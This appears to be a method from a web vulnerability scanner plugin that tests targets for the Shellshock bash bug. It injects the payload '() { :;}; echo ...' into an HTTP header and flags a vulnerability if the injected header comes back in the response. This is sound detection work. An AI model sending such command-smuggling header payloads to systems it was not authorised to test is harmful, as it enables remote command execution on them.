'We\'re sending a payload that will trigger the injection of various
headers in the HTTP response body.
:param freq: A FuzzableRequest
:return: True if a vulnerability was found'

def _with_header_echo_injection(self, freq):

    injected_header = 'shellshock'
    injected_value = 'check'
    payload = ('()    {    :;};    echo    "%s:    %s"' % (injected_header, injected_value))
    mutant = self.create_mutant(freq, TEST_HEADER)
    mutant.set_token_value(payload)
    response = self._uri_opener.send_mutant(mutant)
    (header_value, header_name) = response.get_headers().iget(injected_header)
    if ((header_value is not None) and (injected_value in header_value.lower())):
        desc = (u'Shell    shock    was    found    at:    %s' % mutant.found_at())
        v = Vuln.from_mutant(u'Shell    shock    vulnerability', desc, severity.HIGH, [response.id], self.get_name(), mutant)
        self.kb_append_uniq(self, 'shell_shock', v)
        return True
